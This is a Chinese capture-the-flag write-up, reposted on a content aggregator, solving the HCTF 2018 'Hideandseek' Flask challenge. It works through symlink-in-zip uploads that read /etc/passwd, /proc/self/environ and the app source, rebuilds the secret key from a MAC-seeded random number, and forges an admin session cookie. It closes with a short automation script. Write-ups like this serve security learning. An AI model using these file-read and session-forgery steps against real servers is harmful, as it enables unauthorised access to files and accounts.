BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek

考点:

  1. 软连接读取任意文件
  2. Flask伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址(存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

先介绍一下什么是软连接。


Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

【硬连接】
硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

image-20230904233324632

【软连接】
软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

[索引节点(inode)]

要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


软连接用法:

创建软链接

ln -s [源文件或目录] [目标文件或目录]

//当前路径创建test 引向/var/www/test 文件夹 
ln –s  /var/www/test  test//创建/var/test 引向/var/www/test 文件夹 
ln –s  /var/www/test   /var/test

删除软链接

//删除test
rm –rf test

修改软链接

ln –snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

//创建一个软链接
ln –s /var/www/test /var/test//修改指向的新路径
ln –snf /var/www/test1 /var/test

常用参数:

-f : 链结时先将与 dist 同档名的档案删除
-d : 允许系统管理者硬链结自己的目录
-i : 在删除与 dist 同档名的档案时先进行询问
-n : 在进行软连结时,将 dist 视为一般的档案
-s : 进行软链结(symbolic link)
-v : 在连结之前显示其档名
-b : 将在链结时会被覆写或删除的档案进行备份
-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
-V METHOD : 指定备份的方式
–help : 显示辅助说明
–version : 显示版本


开始做题。

image-20230904235831283

当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

发现任意用户密码均可登录,但是唯独不能登录admin。

image-20230905000046680

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

image-20230905000029173

随便上传一个.php试试水,发现只能上传.zip压缩包。

image-20230905000610108

压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

image-20230905113628143

然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

ln -s /etc/passwd passwd
zip -y passwd.zip passwdrm –rf passwd

image-20230905114442570

然后上传,发现成功回显服务端/etc/passwd的内容。

image-20230905115301828

那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

image-20230905115550975

下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'得到{'username': '111'}

image-20230905115942110

伪造session需要secret_key,尝试找一下源码。

因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。
解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

ln -s /proc/self/environ self
zip -y self.zip selfrm –rf self

成功读取/proc/self/environ文件后。

image-20230905121847888

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)

我们以同样的方式制作软连接读取

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgirm –rf uwsgi

image-20230905121928718

得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip mainrm –rf main

Ctrl+U看得更加清楚一点。

image-20230905122141655

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET'])
def index():error = request.args.get('error', '')if(error == '1'):session.pop('username', None)return render_template('index.html', forbidden=1)if 'username' in session:return render_template('index.html', user=session['username'], flag=flag.flag)else:return render_template('index.html')@app.route('/login', methods=['POST'])
def login():username=request.form['username']password=request.form['password']if request.method == 'POST' and username != '' and password != '':if(username == 'admin'):return redirect(url_for('index',error=1))session['username'] = usernamereturn redirect(url_for('index'))@app.route('/logout', methods=['GET'])
def logout():session.pop('username', None)return redirect(url_for('index'))@app.route('/upload', methods=['POST'])
def upload_file():if 'the_file' not in request.files:return redirect(url_for('index'))file = request.files['the_file']if file.filename == '':return redirect(url_for('index'))if file and allowed_file(file.filename):filename = secure_filename(file.filename)file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)if(os.path.exists(file_save_path)):return 'This file already exists'file.save(file_save_path)else:return 'This file is not a zipfile'try:extract_path = file_save_path + '_'os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)read_obj = os.popen('cat ' + extract_path + '/*')file = read_obj.read()read_obj.close()os.system('rm -rf ' + extract_path)except Exception as e:file = Noneos.remove(file_save_path)if(file != None):if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):return redirect(url_for('index', error=1))return Response(file)if __name__ == '__main__':#app.run(debug=True)app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

image-20230905123404478

python中uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址。

image-20230905122713947

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip macrm –rf mac

也有其他方法找mac地址:
img

c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

image-20230905123426918

image-20230905124342582

本地跑一下密钥就出来。是76.9034879300039

image-20230905123740256

kali中flask_session_cookie_manager3工具文件夹下开终端。

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

image-20230905123926670

成功登录admin账号,也不用再读取flag了,直接给了。

image-20230905124005684


找到一个软连接脚本:

import os
import requests
import sysdef make_zip():os.system('ln -s ' + sys.argv[2] + ' test_exp')os.system('zip -y test_exp.zip test_exp')def run():make_zip()res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})print(res.text)os.system('rm -rf test_exp')os.system('rm -rf test_exp.zip')if __name__ == '__main__':run()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/136636.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

方案:基于AI烟火识别与视频技术的秸秆焚烧智能化监控预警方案

一、方案背景 为严控秸秆露天焚烧,改善环境空气质量,各省相继发布秸秆禁烧工作内容。以安徽省为例,大气污染防治联席会议下发了该省2020年秸秆禁烧工作部署通知。2020年起,气象局将对全省秸秆焚烧火点实施卫星全年全时段监测&…

指针笔试题讲解(让指针变得简单易懂)

数组名的理解 : 数组名就是首元素地址 但是有两个例外: 1. sizeof(数组名)这里的数组名表示整个数组的大小,sizeof(数组名)计算的是整个数组的大小,单位是字节 2. &数组名 这里的数组…

9月19日作业

完成文本编辑器的保存工作-代码: void Widget::on_pushButton_4_clicked() {//创建保存文件对话框QString filename QFileDialog::getSaveFileName(this,"保存文件","./","All(*.*);;Text files (*.txt)");//创建一个文件对象&…

福建厦门航空飞机发动机零部件检测3D测量尺寸偏差比对-CASAIM中科广电

航空航天是一个创新型发展国家的尖端命脉,代表着一个国家科学技术的先进水平。在航空航天工业的发展和组成领域中,对于在制造业中的航空航天产品零部件精度要求十分严苛,从前期的设计、中期建造、后期维修检测,任何一个环节、任何…

java CAS详解(深入源码剖析)

CAS是什么 CAS是compare and swap的缩写,即我们所说的比较交换。该操作的作用就是保证数据一致性、操作原子性。 cas是一种基于锁的操作,而且是乐观锁。在java中锁分为乐观锁和悲观锁。悲观锁是将资源锁住,等之前获得锁的线程释放锁之后&am…

Nginx配置负载均衡时访问地址无法生效

场景还原 今天有小伙伴练习Nginx配置负载均衡时总是无法使用配置好的网址访问 配置文件信详情 http {# 负载均衡 后端IP地址和端口 webservers 策略 轮询upstream webservers{server 192.168.1.100:8080 weight90; server 127.0.0.1:8080 weight10; }server{listen 80;ser…

C#使用OpenCv(OpenCVSharp)图像轮廓多边形逼近和轮廓最小矩形实例

本文实例演示C#语言中如何使用OpenCv(OpenCVSharp)对图像轮廓多边形逼近和轮廓最小矩形实例。 多边形逼近的目的是减少轮廓的点数,但看起来轮廓形状差不多。 最小矩形:面积更小的矩形,把轮廓包围起来实例 创建winform项目,添加控件和事件 添加类 using System; using…

学习路之PHP--laravel postman 提交表单出现419错误

问题图片 解决: 白名单 有时候你可能希望设置一组不需要 CSRF 保护的 URL 。例如,如果你正在使用 Stripe 处理付款并使用了他们的 webhook 系统,你会需要从 CSRF 的保护中排除 Stripe webhook 处理程序路由,因为 Stripe 不知道要发…

VSCode『SSH』连接服务器『GUI界面』传输

前言 最近需要使用实验室的服务器训练带有 GUI 画面的 AI 算法模型(pygame),但是我是使用 SSH 连接的,不能很好的显示模型训练的效果画面,所以下面将会讲解如何实现 SSH 连接传输 Linux GUI 画面的 注:我们…

vs2022 创建一个同时支持.net480和.net6.0的WPF项目

新建WPF项目&#xff0c;不要选.NET Framework框架的。如下图所示&#xff0c;选择第一个。&#xff08;选择.NET Framework框架改成.net6.0会报错&#xff09; 用记事本打开项目的csproj文件&#xff0c;修改TargetFrameworks标签&#xff0c;如下所示&#xff1a; <Pro…

解决flutter不识别yaml里面配置的git项目

解决办法找到相应的 git路径&#xff0c;然后手动 git pull 暂时先用这个笨方法&#xff0c;后面有更好的解决办法了再说 studio 自己拉取的项目里面没有ios 和lib包

STM32-无人机-电机-定时器基础知识与PWM输出原理

电机控制基础——定时器基础知识与PWM输出原理 - 掘金单片机开发中&#xff0c;电机的控制与定时器有着密不可分的关系&#xff0c;无论是直流电机&#xff0c;步进电机还是舵机&#xff0c;都会用到定时器&#xff0c;比如最常用的有刷直流电机&#xff0c;会使用定时器产生PW…

5.2 磁盘CRC32完整性检测

CRC校验技术是用于检测数据传输或存储过程中是否出现了错误的一种方法&#xff0c;校验算法可以通过计算应用与数据的循环冗余校验&#xff08;CRC&#xff09;检验值来检测任何数据损坏。通过运用本校验技术我们可以实现对特定内存区域以及磁盘文件进行完整性检测&#xff0c;…

纯js实现html指定页面导出word

因为最近做了范文网站需要&#xff0c;所以要下载为word文档&#xff0c;如果php进行处理&#xff0c;很吃后台服务器&#xff0c;所以想用前端进行实现。查询github发现&#xff0c;确实有这方面的插件。 js导出word文档所需要的两个插件&#xff1a; FileSaver.js jquery.w…

使用香橙派学习 Linux的守护进程

Q&#xff1a;什么是守护进程 A&#xff1a;Linux Daemon&#xff08;守护进程&#xff09;是运行在后台的一种特殊进程。它独立于控制终端并且周期性地执行 某种任务或等待处理某些发生的事件。它不需要用户输入就能运行而且提供某种服务&#xff0c;不是对整个系统就是对某个…

简述TCP三次握手,四次挥手

前言&#xff1a; 通常大多数认为三次握手、四次挥手是HTTP协议产生的。这是一个错误的认知&#xff0c;实际上HTTP协议并不参与握手以及挥手过程&#xff0c;三次握手四次挥手均是在TCP协议层上进行的&#xff0c;而HTTP协议只是在已建立 TCP连接的基础上&#xff0c;进行通信…

讯飞实时语音读写,并播放录音,上传录音文件

需求描述&#xff1a;使用讯飞实现录音实时识别&#xff0c;并且可以播放以及上传。 首先想到使用到这个组件voice-input-button2&#xff0c;他集成了讯飞语音读写的功能 &#xff0c;插件地址&#xff1a;https://github.com/ferrinweb/voice-input-button2根据文档集成成功…

TypeScrip

TypeScript强调了两个重要的特性--类型系统、适用于任何规模的项目 1、TypeScript 从名字就可以看出来&#xff0c;类型是其核心的特性。 我们知道&#xff0c;JavaScript是一门非常灵活的编程语言,他有以下一些特点: 没有类型约束&#xff0c;一个变量可以初始化是字符串&a…

c语言进阶部分详解(指针进阶1)

大家好&#xff01;指针的初阶内容我已经写好&#xff0c;可移步至我的文章&#xff1a;c语言进阶部分详解&#xff08;指针初阶&#xff09;_总之就是非常唔姆的博客-CSDN博客 基本内容我便不再赘述&#xff0c;直接带大家进入进阶内容&#xff1a; 目录 一.字符指针 1.讲解…

华为云云服务器云耀L实例评测 | 从零到一:华为云云耀云服务器L实例上手体验

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…